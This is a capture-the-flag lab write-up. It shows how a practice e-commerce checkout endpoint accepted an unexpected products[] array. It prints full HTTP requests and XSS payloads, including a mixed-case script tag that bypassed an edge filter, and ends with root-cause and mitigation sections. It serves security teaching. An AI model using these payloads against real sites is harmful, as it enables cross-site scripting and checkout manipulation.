Parameter Pollution Leads to Checkout Abuse | Unsoakable
Lab Link
Overview
Unsoakable was a WebVerse Pro daily challenge based on a small e-commerce application named Riptide. The storefront allowed users to browse water blaster products, add them to a cart, and place an order through the checkout flow.
The vulnerability was found in the checkout endpoint. The normal cart page submitted a single hidden product parameter to /buy.php, but the backend also accepted an unexpected products[] array parameter. By abusing this mismatch, it was possible to submit additional user-controlled product values that were not part of the intended checkout flow.
A mixed-case script payload inside the products[] array triggered the challenge solve condition and confirmed that the checkout logic trusted unexpected client-side input.
Objective
The objective was to identify the vulnerable checkout behavior and trigger the lab solve condition by abusing the data submitted to the order endpoint.
Vulnerability Identification
After adding a product to the cart, the application used simple POST actions to modify cart contents:
1
2
3
4
5
POST /cart.php HTTP/2
Host: <redacted>
Content-Type: application/x-www-form-urlencoded
action=add&sku=RT-A2
The cart then rendered a checkout form pointing to /buy.php:
1
2
3
4
<form method="post" action="/buy.php" class="rt-checkout">
<input type="hidden" name="product" value="Tempest XR">
<button class="rt-btn rt-btn--cta rt-btn--block" type="submit">Place order</button>
</form>
This showed that the final order request relied on a client-controlled product field instead of deriving the ordered items only from server-side cart state.
A normal checkout request looked like this:
1
2
3
4
5
POST /buy.php HTTP/2
Host: <redacted>
Content-Type: application/x-www-form-urlencoded
product=Tempest+XR
The order was accepted and the response reflected the purchased product name in the confirmation page.
Recon and Approach
Initial testing focused on the cart actions:
1
action=inc&sku=RT-A2
1
action=dec&sku=RT-A2
1
action=remove&sku=RT-A2
The dec action existed in the UI and reduced the quantity, but negative quantity abuse did not directly solve the lab.
The important discovery came from the checkout page. The cart summary calculated prices server-side, but the final order endpoint accepted product data from the POST body. This made /buy.php the primary target.
Several payload types were tested:
1
product=Tempest+XR
1
product=Unsoakable
1
product=Tempest+XR&product=Unsoakable
Classic angle-bracket XSS payloads against the single product parameter were blocked by the edge filter:
1
<img src=x onerror=alert(document.domain)>
The filter returned a 403 Request blocked, indicating that the solve path likely required a cleaner bypass or a less obvious parameter shape.
Exploitation
The successful bypass used HTTP parameter pollution with an array-style field name:
1
products[]=Auto-Nine&products[]=<ScRiPt>alert()</ScRiPt>
URL-encoded request body:
1
products%5B%5D=Auto-Nine&products%5B%5D=<ScRiPt>alert()</ScRiPt>
Final request:
1
2
3
4
5
6
POST /buy.php HTTP/2
Host: <redacted>
Content-Type: application/x-www-form-urlencoded
Cookie: ru_sid=<redacted>; cf_clearance=<redacted>
products%5B%5D=Auto-Nine&products%5B%5D=<ScRiPt>alert()</ScRiPt>
The important parts were:
- The endpoint accepted
products[]even though the visible form only submittedproduct. - Multiple product values could be supplied.
- A mixed-case script tag bypassed the earlier filtering behavior enough to trigger the backend challenge condition.
- The backend treated the unexpected array input as valid checkout data.
Proof and Flag
After sending the polluted products[] payload, the challenge status endpoint returned:
1
2
3
4
{
"solved": true,
"flag": "WEBVERSE{...}"
}
The flag was successfully obtained and is intentionally redacted here.
Root Cause
The root cause was insufficient server-side validation of checkout parameters.
The application exposed a normal form using a single product field, but /buy.php also accepted an unexpected products[] array. This created a parameter pollution issue where attackers could submit fields that were not part of the intended user interface.
The backend should not have trusted product names supplied by the client. Checkout logic should derive ordered items from server-side cart state, product IDs, and validated session data.
Impact
An attacker could manipulate the checkout request by submitting unexpected product fields and values.
Depending on how the backend processes those values, this type of issue can lead to:
- Unauthorized order manipulation
- Checkout logic bypass
- Stored or reflected XSS if product values are rendered unsafely
- Backend validation bypass through array parameters
- Inconsistent behavior between frontend forms and backend parsing logic
In this lab, the issue allowed triggering the solve condition by injecting a mixed-case script payload through a polluted products[] parameter.
Mitigation
To prevent this vulnerability:
- Accept only expected parameters on sensitive endpoints.
- Reject unexpected fields such as
products[]when the endpoint expectsproduct. - Validate parameter types strictly.
- Do not trust product names, prices, or item lists from client-side forms.
- Store cart contents server-side and reference them by session.
- Encode user-controlled values before rendering them in HTML.
- Normalize and validate input before applying filtering rules.
- Use allowlists for product identifiers and checkout actions.
A safer checkout design would look up the cart from the authenticated/session-backed server-side store and ignore client-supplied product names entirely.
